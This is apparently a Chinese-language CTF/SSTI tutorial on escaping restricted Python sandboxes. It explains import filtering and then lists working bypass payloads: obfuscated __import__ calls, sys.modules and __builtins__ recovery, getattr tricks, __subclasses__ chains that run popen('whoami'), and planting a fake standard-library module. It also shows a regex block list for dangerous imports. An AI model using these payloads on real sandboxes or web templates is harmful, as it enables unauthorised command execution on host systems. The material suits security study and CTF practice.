说到 python 安全,必然绕不开的就是沙盒逃逸了。
在之前的比赛中,不断有接触到SSTI类型的题目,而主办方往往也会出一些难度较大的模板注入,这里就常考到沙盒逃逸,当然,沙盒逃逸不仅仅在SSTI中使用到。
本文将主要以python沙盒逃逸作为技术基点进行分析与探讨。
此处的沙箱逃逸 代表的意思是 从一个被阉割和做了严格限制的python执行环境中获取到更高的权限,甚至getshell。
沙盒逃逸原理及概述
沙盒,亦称沙箱,在早期主要用于对可疑文件进行测试以及对于病毒危害程度进行测试,现如今已经发展到对网站进行对物理机的隔离,类似于虚拟机的使用。
而沙盒逃逸,就是要在一个受限的代码执行环境下,脱离各种过滤和限制,拿到更高权限乃至getshell
对于python的沙盒逃逸而言,我们想实现目的的最终想法有以下几个。
使用os包中的popen,system两个函数来直接执行shell
使用commands模块中的方法
使用subprocess
使用写文件到指定位置,再使用其他辅助手段
import os
import subprocess
import commands
# 直接输入shell命令,以ifconfig举例
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)
但是很明显防御者不会这么容易给我们用,肯定会有各种过滤对代码进行各种各样的检查,来阻止可能的进攻,那我们该怎么做呢。
命令执行
在 Python 中执行系统命令的方式有:
os
commands:仅限
2.x
subprocess
timeit:
timeit.sys
、timeit.timeit("__import__('os').system('whoami')", number=1)
platform:
platform.os
、platform.sys
、platform.popen('whoami', mode='r', bufsize=-1).read()
pty:
pty.spawn('ls')
、pty.os
bdb:
bdb.os
、cgi.sys
cgi:
cgi.os
、cgi.sys
...
可以写个脚本,枚举一下所有的导入os或者sys的库。
如果 oj 支持import
的话,这些库都是高危的,放任不管基。上是坐等被日。所以为了避免过滤不完善导致各种问题,在 Python 沙箱套一层 docker 肯定不会是坏事。
import基础防御绕过
对于防御者来说,最基础的思路,就是对代码的内容进行检查。
最常见的方法呢,就是禁止引入敏感的包
import re
code = open('code.py').read()
pattern = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern,code)
if match:
print "forbidden module import detected"
raise Exception
就这样即可简单地完成对敏感的包的检测。
我们知道,要执行shell命令,就得需要引入os/commands/subprocess这几个包。
所以作为攻击者的我们就得需要找到其他办法进行包的引入。
import 关键字:
import os
import os
import os
...
__import__
函数:__import__('os')
importlib库:
importlib.import_module('os').system('ls')
再让我们想一想import的原理是什么。
import实质就是执行一遍导入的库,那我们是不是也可以直接调用库,进而绕过对import的过滤。
execfile('/usr/lib/python2.7/os.py')
system('ls')
#2.x
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
system('ls')
#2.x/3.x
这是需要知道路径的,但是大多数类unix系统环境下,模块的路径都是/usr/lib/pythonx.x/os.py
当然,如果sys还在的话,可以确认一下。
import sys
print(sys.path)
花式处理字符串
沙箱中往往会禁止一些危险的字符串出现,比如os、eval等。但是可以通过花式处理字符串的方法,例如逆序、变量拼接、base64、hex、rot13...等等。
import 是一个关键字,因此,包的名字是直接以 'tag'(标记)的方式引入的,但是对于函数和包来说,引入的包的名字就是他们的参数,也就是说,将会以字符串的方式引入。
所以我们可以对原始关键字进行处理以绕过源码扫描。
以
__import__
函数举例。
black = __import__("pbzznaqf".decode('rot_13'))
print black.getoutput('ifconfig')
#commands-->pbzznaqf
或者使用importlib。
import importlib
black = importlib.import_module("pbzznaqf".decode('rot_13')
print black.getoutput('ifconfig')
再例如用逆序。
__import__('so'[::-1]).system('ls')
还可以用到exec和eval。
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
恢复 sys.modules
sys.modules其实是一个字典,里面存储了加载过的模块信息。如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。有些库例如os
是默认被加载进来的,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。
所以当防御者将os从sys.modules中移除时,os就没法用了。
>>> sys.modules['os'] = 'not allowed'
>>> import os
>>> os.system('ls')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'
>>>
但我们可以利用import加载模块的特性,重新加载回来。
Python import 的步骤
python 所有加载的模块信息都存放在 sys.modules 结构中,当 import 一个模块时,会按如下步骤来进行。
如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。
如果是 from A import B,先为 A 创建 module 对象,再解析A,从中寻找B并填充到 A 的 dict 中。
同时,当删掉了sys.modules['os']
,会让 Python 重新加载一次 os。
sys.modules['os'] = 'not allowed' # oj 为你加的
del sys.modules['os']
import os
os.system('ls')
还可以直接导入os模块。
>>> import sys
>>> sys.modules['os']='/usr/lib/python3.9/os.py'
>>> import os
还有__builtins__
的导入方法。
(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")
(lambda x:1).__globals__['__builtins__'].__dict__['eval']("__import__('os').system('ls')")
花式执行函数
如果system函数被禁止了,即无法通过os.system执行系统命令,且system也无法通过处理字符串的方法来实现,所以要想其他的途径来解决这一问题。
os模块中能执行系统命令的函数还有很多。
print(os.system('whoami'))
print(os.popen('whoami').read())
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x
...
其次,还可以通过getattr、getattribute拿到对象的方法、属性。
这个函数接受两个参数,一个模组或者对象,第二个是一个字符串,该函数会在模组或者对象下面的域内搜索有没有对应的函数或者属性。
import os
getattr(os, 'metsys'[::-1])('whoami')
#如果ban了import
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
与getattr
相似的还有__getattr__
、__getattribute__
,它们自己的区别就是getattr
相当于class.attr
,都是获取类属性/方法的一种方式,在获取的时候会触发__getattribute__
,如果__getattribute__
找不到,则触发__getattr__
,还找不到则报错。
builtin与builtins
先说一下,builtin
、builtins
,__builtin__
与__builtins__
的区别:在python中,存在一些不需要任何import即可使用的函数,如chr、open等,这都得益于python的内建模块,亦称内建命名空间,它包含了一些常用函数、变量和类。
而在2.x中,内建模块被命名为__builtin__
,而在3.x中,则变成了builtins。
两者都需要import。
#2.x
>>import __builtin__
>>__builitin__
#3.x
>>> import builtins
>>> builtins
但是,对于2.x和3.x,__builtins__
两者都有。
如果builtins内部的reload没被删除,可以使用reload恢复__builtins__
,从而恢复__builtins__
中被删除的危险函数(eval…),如果连reload
都从__builtins__
中删了,就没法恢复__builtins__
了,需要另寻他法。
2.x 的
reload
是内建的,3.x 需要import imp
,然后再imp.reload
通过继承关系逃逸
首先,我们要理解python的继承机制,与java等语言不同,python是支持多重继承的,也就是可以拥有多个父类。
python中新式类都有个属性(mro)是一个元组,记录了类的继承关系。
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
这里说的继承,注意是类型,而不是类型的实例
通过这种方法,我们可以得到一些类型的对象,这个对于一些限制极严的情况下有很大的用处。
比如说当一些文件操作的函数和类型被过滤的情况下,我们就可以使用以下这段payload。
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
类似的还有很多,这就不一一例举了。
在SSTI中,由于不同模板的渲染方法不同,往往也会带来不同的使用方式。
比如说jinjia2的模板中,环境变量中的很多builtin的类型是没有的,就可以利用到绑定了的变量的mro特性去实现很多功能,甚至getshell。
总结而言:
1.通过__class__、mro、subclasses、__bases__
等等属性/方法去获取 object.
2.根据__globals__
找引入的__builtins__
或者eval
等等能够直接被利用的库,或者找到builtin_function_or_method类/类型
3.__call__
后直接运行eval
文件读写
在2.x中,有个内建的file可以直接读取文件。
但是在3.x中file被移除了,可以用open(2.x/3.x通用)
还有一些库可以实现读写
types.FileType
(rw)platform.popen
(rw)linecache.getlines
(r)
当我们可以直接写文件时,不妨先把类似的文件保存写好(xx.py),然后再import(或其他方法)引用进来。
xx.py: #注:xx命名最好要挑选一个常用的标准库的名字,因为过滤的库名可能采用的是白名单的方式。但是不能和sys.modules中的库重复。否则无法正常利用,python会直接从sys.modules中加入
import os
print(os.system('whoami'))
>>> import math
root
>>> 're' in sys.modules
True
'math' in sys.modules
False
杂项
沙箱中还可能会过滤[
、]
两个符号。对于这种情况就需要用pop
、__getitem__
代替[]
两个符号缺少带来的影响(实际上a[0]
就是在内部调用了a.__getitem__(0)
)。
ctf就特别喜欢考这些
#python2.x
>>>''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()
'root\n'
#python 3.6以后可以使用新特性 f-string
>>> f'{__import__("os").system("whoami")}'
root
'0'
还有序列化相关的逃逸,这个我之前的文章已经有所谈及,网上也很多这类型的。
应用场景
直接的代码环境
常见的就是一些提供在线代码运行的网站,还有一些虚拟环境,甚至某些校内模拟操作系统(...),这种的过滤一般较少,但也一般是会与物理机进行隔离。提供的python交互式shell
SSTI
这个就很多了,不同模板渲染都有不同的环境,而且一般框架都是直接构建在物理机上,一旦getshell可以拿到很大的权限。